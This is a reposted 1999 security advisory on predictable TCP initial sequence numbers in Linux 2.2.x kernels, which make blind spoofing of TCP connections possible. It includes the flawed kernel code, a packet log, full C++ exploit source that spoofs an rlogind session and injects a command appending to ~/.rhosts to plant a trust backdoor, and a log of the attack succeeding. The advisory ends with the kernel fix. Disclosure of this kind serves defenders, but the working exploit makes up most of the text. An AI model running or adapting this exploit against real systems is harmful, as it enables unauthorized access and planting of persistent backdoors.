COMMAND
ISN (kernel)
SYSTEMS AFFECTED
Linux Kernel 2.2.x (2.3.x?)
PROBLEM
Following is based on TESO Security Advisory. A weakness within
the TCP stack in Linux 2.2.x kernels has been discovered. The
vulnerability makes it possible to "blind-spoof" TCP connections.
It's therefore possible for an attacker to initiate a TCP
connection from an arbitrary non existing or unresponding IP
source address, exploiting IP address based access control
mechanisms. Linux 2.0.x kernels were tested against this attack
and found not to be vulnerable in any case. In test situations
it was noticed that it doesn't seem to matter whether the TCP
syncookie functionality was enabled or not (enabled within the
kernel and activated through the proc filesystem options).
This is the beginning of a log of a successfully mounted blind TCP
spoofing attack agains a Linux 2.2.12 system. (tcpdump output
formatted for better readability)
16:23:02.727540 attacker.522 > victim.ssh : S 446679473: 446679473(0)
16:23:02.728371 victim.ssh > attacker.522: S 3929852318:3929852318(0)
16:23:02.734448 11.11.11.11.522 > victim.ssh: S 446679473: 446679473(0)
16:23:02.734599 victim.ssh > 11.11.11.11.522: S 3929859164:3929859164(0)
16:23:03.014941 attacker.522 > victim.ssh: R 446679474: 446679474(0)
16:23:05.983368 victim.ssh > 11.11.11.11.522: S 3929859164:3929859164(0)
16:23:06.473192 11.11.11.11.522 > victim.ssh: . ack 3929855318
16:23:06.473427 victim.ssh > 11.11.11.11.522: R 3929855318:3929855318(0)
16:23:06.554958 11.11.11.11.522 > victim.ssh: . ack 3929855319
16:23:06.555119 victim.ssh > 11.11.11.11.522: R 3929855319:3929855319(0)
16:23:06.637731 11.11.11.11.522 > victim.ssh: . ack 3929855320
16:23:06.637909 victim.ssh > 11.11.11.11.522: R 3929855320:3929855320(0)
...
The first ISN of the victim's host is 3929852318, which is within
a SYNACK packet to the attackers host. This is unspoofed and can
be easily snagged by the attacker. At the same time the attacker
sent out the first unspoofed SYN packet he sent a spoofed SYN
packet from 11.11.11.11 too. This packet is answered by the
victims host too with the ISN of 3929859164. The difference
between the first visible ISN and the second ISN is only
(3929859164-3929852318) = 6846.
Please notice that all TCP and IP parameters of the spoofed
packet, except for the IP source address are the same as of the
unspoofed packet. This is important (see below). This small
differences within the initial TCP sequence number (ISN) is
exploitable. In other tests, where both hosts were unlagged we
even had differences below 500 sometimes.
Testing team manageded to successfully blind spoof TCP connections
on different Linux 2.2.x systems, that is reaching the TCP
"ESTABLISHED" state without being able to sniff the victim host.
By sending packets from a trusted source address, attackers could
possibly bypass address based authentication and security
mechanisms. There have been similiar exploiting technics, aimed
especially at r* and NFS services, in the past that demonstrated
the security impact of weak ISNs very well.
The problem relies on a implementation flaw within the random ISN
algorithm in the Linux kernel. The problem is within
drivers/char/random.c, line 1684:
__u32 secure_tcp_sequence_number(__u32 saddr, __u32 daddr,
__u16 sport, __u16 dport)
{
...
static __u32 secret[12];
...
secret[0]=saddr;
secret[1]=daddr;
secret[2]=(sport << 16) + dport;
seq = (halfMD4Transform(secret+8, secret) &
((1<<HASH_BITS)-1)) + count;
...
}
As already said, in spoofed TCP SYN packet only the IP source
address differs, that is only secret[0], so of 12*4 random bytes
used to create the sequence number from, only 4 bytes differ.
Obviously the hash created by halfMD4Transform has similarities if
the source and destination ports and the destination address are
the same. It seems that the src-adress is least-significant to
the above MD4 algorithm. Changing the source-ports too, makes
the 2 ISNs more differ. Due to the short gap of time, the last
seq += tv.tv_usec + tv.tv_sec*1000000;
is useless. This may be the reason why this bug may have survived
long: In any real network situation it is uncommon that the
source and destination ports are equal in two different
connections on one host. Further analyzation of the hash
algorithm in this routine may result in a better ISN prediction
than the one we use (range prediction).
The bugdiscovery and the exploit is due to Stealth and S. Krahmer.
The exploit needs libUSI++ installed, which can be obtained
through:
http://www.cs.uni-potsdam.de/homepages/students/linuxer/
The exploit is available from
http://teso.scene.at/
http://www.cs.uni-potsdam.de/homepages/students/linuxer/
Here's the copy:
/*** Exploit for the 2.2 linux-kernel TCP/IP weakness.
*** (C) 1999 by S. Krahmer.
*** THERE IS ABSOLUTELY NO WARRANTY. YOU USE IT AT YOUR OWN RSIK!
*** THIS PROGRAM IS LICESED UNDER THE GPL and belongs to a security-
*** advisory of team teso. You should get the full advisory with paper
*** on either
*** http://www.cs.uni-potsdam.de/homepages/students/linuxer or
*** http://teso.scene.at
***
*** The bugdiscovery and the exploit is due to:
***
*** Stealth http://www.kalug.lug.net/stealth
*** S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linxuer
***
*** c++ blindSpoof.cc -lusi++ -lpcap (this is LINUX source!)
*** Libusi++ is available on my homepage.
*** Achtung: Gehen Sie nicht in den 100 Meilen tiefen Wald! ;-)
***/
#include <stdio.h>
#include <iostream>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <usi++/usi++.h>
#define XPORT 513
// may be changed, my best results were around 2000,
// but also diffs of > 5000 can happen :)
// change it it really not works
#define MAXPACK 3000
// define this if you want to exploit rlogind
// if not, you will just spoof a connection to XPORT
#define EXPLOIT_RLOGIND
// uses eth0 for packet-capturing!
TCP *pingVictum(char *, char *, char *);
int printInfo(TCP *);
bool wrongPacket(TCP *, TCP *);
int main(int argc, char **argv)
{
// yes, script-kidz! this is hardcoded to prevent you from usage.
const char *remoteUser = "stealth",
*localUser = "stealth",
*command = "echo liane root>>~/.rhosts\n";
char sbuf[1000];
if (argc < 4) {
printf("Usage %s [destination-IP] [source-IP] [spoofed-IP]\n", argv[0]);
exit(1);
}
cout<<"blindSpoof-exploit by S. Krahmer\n"
"http://www.cs.uni-potsdam.de/homepages/students/linuxer\n\n";
// would be connect()
TCP *conn = pingVictum(argv[1], argv[2], argv[3]);
#ifdef EXPLOIT_RLOGIND
conn->set_flags(0);
sprintf(sbuf, "\0");
conn->sendpack(sbuf, 1);
sleep(1);
cout<<"Sending local username: "<<localUser<<endl;
// send local username
conn->set_seq(conn->get_seq() + 1);
memset(sbuf, 0, 1000);
snprintf(sbuf, sizeof(sbuf), "%s\0", localUser);
conn->sendpack(sbuf, strlen(sbuf) + 1);
// we don't know about the lag, so i hope that 7 in sec.
// the victum has sent an ACK
sleep(7);
cout<<"Sending remote username: "<<remoteUser<<endl;
// send remote username
conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
memset(sbuf, 0, sizeof(sbuf));
snprintf(sbuf, sizeof(sbuf), "%s\0", remoteUser);
conn->sendpack(sbuf, strlen(sbuf) + 1);
sleep(7);
cout<<"Sending terminal-type and speed.\n";
conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
memset(sbuf, 0, sizeof(sbuf));
snprintf(sbuf, sizeof(sbuf), "%s\0", "linux/38400");
conn->sendpack(sbuf, strlen(sbuf) + 1);
sleep(7);
cout<<"Sending command: "<<command<<endl;
conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
memset(sbuf, 0, sizeof(sbuf));
snprintf(sbuf, sizeof(sbuf), "%s\0", command);
conn->sendpack(sbuf, strlen(sbuf) + 1);
#else
cout<<"Connection to port "<<XPORT<<" should be established.\n";
#endif
delete conn;
return 0;
}
/* Spoof a connection. */
TCP *pingVictum(char *host, char *src, char *spoofed)
{
char buf[100];
TCP *victumLow = new TCP(host),
*victumSpoofed = new TCP(host),
*sn = new TCP(host);
int myISN = rand(), sport = 512 + rand()%512;
sn->init_device("eth0", 1, 500);
victumLow->set_flags(TH_SYN);
victumLow->set_dstport(XPORT); // rlogin
victumLow->set_srcport(sport); // from a privileged port
victumLow->set_src(src);
victumLow->set_seq(myISN);
victumSpoofed->set_flags(TH_SYN);
victumSpoofed->set_dstport(XPORT);
victumSpoofed->set_srcport(sport);
victumSpoofed->set_src(spoofed);
victumSpoofed->set_seq(myISN); // we must save the ISN
// send SYN to get low end of ISN
victumLow->sendpack("");
// send spoofed SYN
victumSpoofed->sendpack("");
cout<<"Using sourceport "<<victumSpoofed->get_srcport()<<endl;
// wait for SYN/ACK of low packet
while (wrongPacket(sn, victumLow)) {
sn->sniffpack(buf, 100);
printf("%s:%d -> %s:%d ", sn->get_src(1), sn->get_srcport(),
sn->get_dst(1), sn->get_dstport());
printInfo(sn);
}
int lowISN = sn->get_seq();
sleep(2);
// NOTE! Even if we sent the SYN before the spoofed SYN, the
// spoofed SYN can arrive first, due to routing reasons.
// Althought this is NOT very likely, we have to keep it in mind.
cout<<"Low end: "<<(unsigned)lowISN<<"\n";
victumSpoofed->set_flags(TH_ACK);
victumSpoofed->set_seq(myISN + 1);
//
for (int i = lowISN; i < lowISN + MAXPACK; i++) {
victumSpoofed->set_ack(i);
victumSpoofed->sendpack("");
printf("%u\r", i); fflush(stdout);
// maybe you have to place a usleep() here, depends on
// your devices
}
cout<<endl;
delete sn;
delete victumLow;
// from now, the connection should be established!
return victumSpoofed;
}
// give out some infos about the received packet
int printInfo(TCP* r)
{
cout<<"[flags: ";
if (r->get_flags() & TH_FIN)
cout<<"FIN ";
if (r->get_flags() & TH_SYN)
cout<<"SYN ";
if (r->get_flags() & TH_RST)
cout<<"RST ";
if (r->get_flags() & TH_PUSH)
cout<<"PUSH ";
if (r->get_flags() & TH_ACK)
cout<<"ACK ";
if (r->get_flags() & TH_URG)
cout<<"URG ";
cout<<"] [ACK: "<<r->get_ack()<<"] [SEQ: "<<r->get_seq()<<"]"<<endl;
return 0;
}
/* returns true is packet is WRONG
*/
bool wrongPacket(TCP *p1, TCP *p2)
{
if (p1->get_src() != p2->get_dst())
return true;
if (p1->get_dst() != p2->get_src())
return true;
if (p1->get_dstport() != p2->get_srcport())
return true;
if (p1->get_srcport() != p2->get_dstport())
return true;
if (p1->get_ack() != (p2->get_seq() + 1))
return true;
return false;
}
And here's the log:
[root@liane /root]# rlogin -l stealth lucifer
Password:
Password:
^D
Login incorrect
rlogin: connection closed.
[root@liane /root]# !c+
c++ blindSpoof.cc -lusi++ -lpcap
[root@liane /root]# ./a.out lucifer liane alice
blindSpoof-exploit by S. Krahmer
http://www.cs.uni-potsdam.de/homepages/students/linxuer
Using sourceport 996
liane.c-skills.de:996 -> lucifer.c-skills.de:513 [flags: SYN ] [ACK: 1709299065] [SEQ: 642221920]
alice:996 -> lucifer.c-skills.de:513 [flags: SYN ] [ACK: 1709299065] [SEQ: 642221920]
lucifer.c-skills.de:513 -> liane.c-skills.de:996 [flags: SYN ACK ] [ACK: 642221921] [SEQ: 3072739429]
Low end: 3072739429
3072742428
Sending local username: stealth
Sending remote username: stealth
Sending terminal-type and speed.
Sending command: echo liane root>>~/.rhosts
[root@liane /root]# rlogin -l stealth lucifer
Last login: Sat Sep 25 16:17:50 from alice
You have mail.
lucifer:[stealth]>
SOLUTION
This vulnerability is fixed in kernels 2.2.13pre13 and later.
Hopefully 2.2.13 will be released shortly and/or the relevant
patch from pre13 will be released as an erratum versus 2.2.12.
There was a "fix" posted to the kernel mailing list which solves
the problem. For those who do not wish to use 2.2.13preX this can
be solution. It's located at:
http://kernelnotes.org/lnxlists/linux-kernel/lk_9909_04/msg00664.html